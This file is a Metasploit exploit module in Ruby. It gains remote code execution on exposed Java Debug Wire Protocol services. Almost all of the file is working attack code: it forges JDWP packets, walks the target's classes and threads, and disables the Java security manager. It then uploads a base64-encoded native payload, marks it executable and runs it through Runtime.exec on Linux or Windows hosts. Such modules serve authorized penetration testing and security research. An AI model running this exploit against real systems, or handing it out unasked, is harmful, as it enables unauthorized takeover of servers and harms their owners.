##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = [1, 1]
CLASSESBYSIGNATURE_SIG = [1, 2]
ALLCLASSES_SIG = [1, 3]
ALLTHREADS_SIG = [1, 4]
IDSIZES_SIG = [1, 7]
CREATESTRING_SIG = [1, 11]
SUSPENDVM_SIG = [1, 8]
RESUMEVM_SIG = [1, 9]
SIGNATURE_SIG = [2, 1]
FIELDS_SIG = [2, 4]
METHODS_SIG = [2, 5]
GETVALUES_SIG = [2, 6]
CLASSOBJECT_SIG = [2, 11]
SETSTATICVALUES_SIG = [3, 2]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
THREADNAME_SIG = [11, 1]
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
MODKIND_STEP = 10
EVENT_BREAKPOINT = 2
EVENT_STEP = 1
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
TAG_THREAD = 116
STEP_INTO = 0
STEP_MIN = 0
THREAD_SLEEPING_STATUS = 2
def initialize
super(
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
'Description' => %q{
This module abuses exposed Java Debug Wire Protocol services in order
to execute arbitrary Java code remotely. It just abuses the protocol
features, since no authentication is required if the service is enabled.
},
'Author' => [
'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
'Christophe Alladoum', # JDWP Analysis and Exploit
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['OSVDB', '96066'],
['EDB', '27179'],
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 2048,
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux'
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'DisclosureDate' => 'Mar 12 2010'
)
register_options(
[
Opt::RPORT(8000),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
], self.class)
register_advanced_options(
[
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
], self.class)
end
def check
connect
res = handshake
disconnect
if res.nil?
return Exploit::CheckCode::Unknown
elsif res == HANDSHAKE
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def peer
"#{rhost}:#{rport}"
end
def default_timeout
datastore['RESPONSE_TIMEOUT']
end
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get(datastore['RESPONSE_TIMEOUT'])
end
# Forges packet for JDWP protocol
def create_packet(cmdsig, data="")
flags = 0x00
cmdset, cmd = cmdsig
pktlen = data.length + 11
buf = [pktlen, @my_id, flags, cmdset, cmd]
pkt = buf.pack("NNCCC")
pkt << data
@my_id += 2
pkt
end
# Reads packet response for JDWP protocol
def read_reply(timeout = default_timeout)
response = sock.get(timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen, id, flags, errcode = response.unpack('NNCn')
response.slice!(0..10)
if errcode != 0 && flags == REPLY_PACKET_TYPE
fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
end
response
end
# Returns the characters contained in the string defined in target VM
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
response = read_reply
return "" unless response
return read_string(response)
end
# Unpacks received string structure from the server response into a normal string
def read_string(data)
data_len = data.unpack('N')[0]
data.slice!(0..3)
return data.slice!(0,data_len)
end
# Creates a new string object in the target VM and returns its id
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
buf = read_reply
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
end
# Packs normal string into string structure for target VM
def build_string(data)
ret = [data.length].pack('N')
ret << data
ret
end
# Pack Fixnum for JDWP protocol
def format(fmt, value)
if fmt == "L" || fmt == 8
return [value].pack('Q>')
elsif fmt == "I" || fmt == 4
return [value].pack('N')
end
fail_with(Failure::Unknown, "Unknown format")
end
# Unpack Fixnum from JDWP protocol
def unformat(fmt, value)
if fmt == "L" || fmt == 8
return value[0..7].unpack('Q>')[0]
elsif fmt == "I" || fmt == 4
return value[0..3].unpack('N')[0]
end
fail_with(Failure::Unknown, "Unknown format")
end
# Parses given data according to a set of formats
def parse_entries(buf, formats, explicit=true)
entries = []
if explicit
nb_entries = buf.unpack('N')[0]
buf.slice!(0..3)
else
nb_entries = 1
end
nb_entries.times do |var|
if var != 0 && var % 1000 == 0
vprint_status("#{peer} - Parsed #{var} classes of #{nb_entries}")
end
data = {}
formats.each do |fmt,name|
if fmt == "L" || fmt == 8
data[name] = buf.unpack('Q>')[0]
buf.slice!(0..7)
elsif fmt == "I" || fmt == 4
data[name] = buf.unpack('N')[0]
buf.slice!(0..3)
elsif fmt == "S"
data_len = buf.unpack('N')[0]
buf.slice!(0..3)
data[name] = buf.slice!(0,data_len)
elsif fmt == "C"
data[name] = buf.unpack('C')[0]
buf.slice!(0)
elsif fmt == "Z"
t = buf.unpack('C')[0]
buf.slice!(0)
if t == 115
data[name] = solve_string(buf.slice!(0..7))
elsif t == 73
data[name], buf = buf.unpack('NN')
end
else
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
end
end
entries.append(data)
end
entries
end
# Gets the sizes of variably-sized data types in the target VM
def get_sizes
formats = [
["I", "fieldid_size"],
["I", "methodid_size"],
["I", "objectid_size"],
["I", "referencetypeid_size"],
["I", "frameid_size"]
]
sock.put(create_packet(IDSIZES_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
# Gets the JDWP version implemented by the target VM
def get_version
formats = [
["S", "descr"],
["I", "jdwp_major"],
["I", "jdwp_minor"],
["S", "vm_version"],
["S", "vm_name"]
]
sock.put(create_packet(VERSION_SIG))
response = read_reply
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
def version
"#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
def is_java_eight
version.downcase =~ /1[.]8[.]/
end
# Returns reference for all threads currently running on target VM
def get_all_threads
sock.put(create_packet(ALLTHREADS_SIG))
response = read_reply
num_threads = response.unpack('N').first
response.slice!(0..3)
size = @vars["objectid_size"]
num_threads.times do
t_id = unformat(size, response[0..size-1])
@threads[t_id] = nil
response.slice!(0..size-1)
end
end
# Returns reference types for all classes currently loaded by the target VM
def get_all_classes
return unless @classes.empty?
formats = [
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
]
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
@classes.each do |entry_array|
entry_array.each do |entry|
if entry["signature"].downcase == name.downcase
return entry
end
end
end
nil
end
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
if @methods.has_key?(reftype_id)
return @methods[reftype_id]
end
formats = [
[@vars["methodid_size"], "method_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, ref_id))
response = read_reply
@methods[reftype_id] = parse_entries(response, formats)
end
# Returns information for each field in a reference type (ie. object)
def get_fields(reftype_id)
formats = [
[@vars["fieldid_size"], "field_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
ref_id = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(FIELDS_SIG, ref_id))
response = read_reply
fields = parse_entries(response, formats)
fields
end
# Returns the value of one static field of the reference type. The field must be member of the reference type
# or one of its superclasses, superinterfaces, or implemented interfaces. Access control is not enforced;
# for example, the values of private fields can be obtained.
def get_value(reftype_id, field_id)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
sock.put(create_packet(GETVALUES_SIG, data))
response = read_reply
num_values = response.unpack('N')[0]
unless (num_values == 1) && (response[4].unpack('C')[0] == TAG_OBJECT)
fail_with(Failure::Unknown, "Bad response when getting value for field")
end
response.slice!(0..4)
len = @vars["objectid_size"]
value = unformat(len, response)
value
end
# Sets the value of one static field. Each field must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, the values of
# private fields can be set. Final fields cannot be set.For primitive values, the value's type must match
# the field's type exactly. For object values, there must exist a widening reference conversion from the
# value's type to the field's type and the field's type must be loaded.
def set_value(reftype_id, field_id, value)
data = format(@vars["referencetypeid_size"],reftype_id)
data << [1].pack('N')
data << format(@vars["fieldid_size"],field_id)
data << format(@vars["objectid_size"],value)
sock.put(create_packet(SETSTATICVALUES_SIG, data))
read_reply
end
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry|
if signature.nil?
return entry if entry["name"].downcase == name.downcase
else
if entry["name"].downcase == name.downcase && entry["signature"].downcase == signature.downcase
return entry
end
end
end
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
unless target_class
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found")
end
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
unless target_method
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found")
end
return target_class, target_method
end
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str_to_fq_class(s)
i = s.rindex(".")
unless i
fail_with(Failure::BadConfig, 'Bad defined break class')
end
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s[0..i-1].gsub(/[.]/, '/')
classname << ';'
return classname, method
end
# Gets the status of a given thread
def thread_status(thread_id)
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
buf = read_reply(datastore['BREAK_TIMEOUT'])
unless buf
fail_with(Exploit::Failure::Unknown, "No network response")
end
status, suspend_status = buf.unpack('NN')
status
end
# Resumes execution of the application or thread after the suspend command or an event has stopped it
def resume_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(RESUMEVM_SIG))
else
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply(datastore['BREAK_TIMEOUT'])
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
# Suspend execution of the application or thread
def suspend_vm(thread_id = nil)
if thread_id.nil?
sock.put(create_packet(SUSPENDVM_SIG))
else
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
end
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "No network response")
end
response
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
data << [kind].pack('C')
data << option
end
sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply
unless response
fail_with(Exploit::Failure::Unknown, "#{peer} - No network response")
end
return response.unpack('N')[0]
end
# Parses a received event and compares it with the expected
def parse_event(buf, event_id, thread_id)
len = @vars["objectid_size"]
return false if buf.length < 10 + len - 1
r_id = buf[6..9].unpack('N')[0]
t_id = unformat(len,buf[10..10+len-1])
return (event_id == r_id) && (thread_id == t_id)
end
# Clear a defined event request
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
read_reply
end
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private
# methods can be invoked.
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply
buf
end
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods
# can be invoked.
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply
buf
end
# Creates a new object of specified class, invoking the specified constructor. The constructor
# method ID must be a member of the class type.
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply
buf
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
if @os.downcase =~ /win/
print_warning("#{peer} - #{@os} system detected but using Linux target...")
end
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
unless @os.downcase =~ /win/
print_warning("#{peer} - #{@os} system detected but using Windows target...")
end
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
file
end
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64;", "getDecoder")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
end
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
decoder = unformat(size, buf[1..1+size-1])
if decoder.nil? || decoder == 0
fail_with(Failure::Unknown, "Failed to create Base64 decoder object")
end
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
if is_java_eight
runtime_class , runtime_meth = get_class_and_method("Ljava/util/Base64$Decoder;", "decode", "(Ljava/lang/String;)[B")
else
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
end
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_ARRAY].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray")
end
pl = unformat(size, buf[1..1+size-1])
pl
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while writing to file")
end
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
unless buf[0] == [TAG_VOID].pack('C')
fail_with(Failure::Unknown, "Exception while closing file")
end
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
if cmd_obj_ids.length == 0
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping")
end
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
rt = unformat(size, buf[1..1+size-1])
if rt.nil? || (rt == 0)
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()")
end
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
if exec_meth.nil?
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()")
end
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
unless buf[0] == [TAG_OBJECT].pack('C')
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object")
end
end
# Set event for stepping into a running thread
def set_step_event
# 1. Select a thread in sleeping status
t_id = nil
@threads.each_key do |thread|
if thread_status(thread) == THREAD_SLEEPING_STATUS
t_id = thread
break
end
end
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
# 2. Suspend the VM before setting the event
suspend_vm
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
step_info = format(@vars["objectid_size"], t_id)
step_info << [STEP_MIN].pack('N')
step_info << [STEP_INTO].pack('N')
data = [[MODKIND_STEP, step_info]]
r_id = send_event(EVENT_STEP, data)
unless r_id
fail_with(Failure::Unknown, "Could not set the event")
end
return r_id, t_id
end
# Disables security manager if it's set on target JVM
def disable_sec_manager
sys_class = get_class_by_name("Ljava/lang/System;")
fields = get_fields(sys_class["reftype_id"])
sec_field = nil
fields.each do |field|
sec_field = field["field_id"] if field["name"].downcase == "security"
end
fail_with(Failure::Unknown, "Security attribute not found") if sec_field.nil?
value = get_value(sys_class["reftype_id"], sec_field)
if(value == 0)
print_good("#{peer} - Security manager was not set")
else
set_value(sys_class["reftype_id"], sec_field, 0)
if get_value(sys_class["reftype_id"], sec_field) == 0
print_good("#{peer} - Security manager has been disabled")
else
print_good("#{peer} - Security manager has not been disabled, trying anyway...")
end
end
end
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
if target['Platform'] == 'linux'
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd)
end
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
@my_id = 0x01
@vars = {}
@classes = []
@methods = {}
@threads = {}
@os = nil
connect
unless handshake == HANDSHAKE
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
end
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
get_sizes
print_status("#{peer} - Getting the version of the target VM...")
get_version
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
get_all_classes
print_status("#{peer} - Getting all running threads in the target VM...")
get_all_threads
print_status("#{peer} - Setting 'step into' event...")
r_id, t_id = set_step_event
print_status("#{peer} - Resuming VM and waiting for an event...")
response = resume_vm
unless parse_event(response, r_id, t_id)
datastore['NUM_RETRIES'].times do |i|
print_status("#{peer} - Received #{i + 1} responses that are not a 'step into' event...")
buf = read_reply
break if parse_event(buf, r_id, t_id)
if i == datastore['NUM_RETRIES']
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
end
end
end
vprint_status("#{peer} - Received matching event from thread #{t_id}")
print_status("#{peer} - Deleting step event...")
clear_event(EVENT_STEP, r_id)
print_status("#{peer} - Disabling security manager if set...")
disable_sec_manager
print_status("#{peer} - Dropping and executing payload...")
exec_payload(t_id)
disconnect
end
end
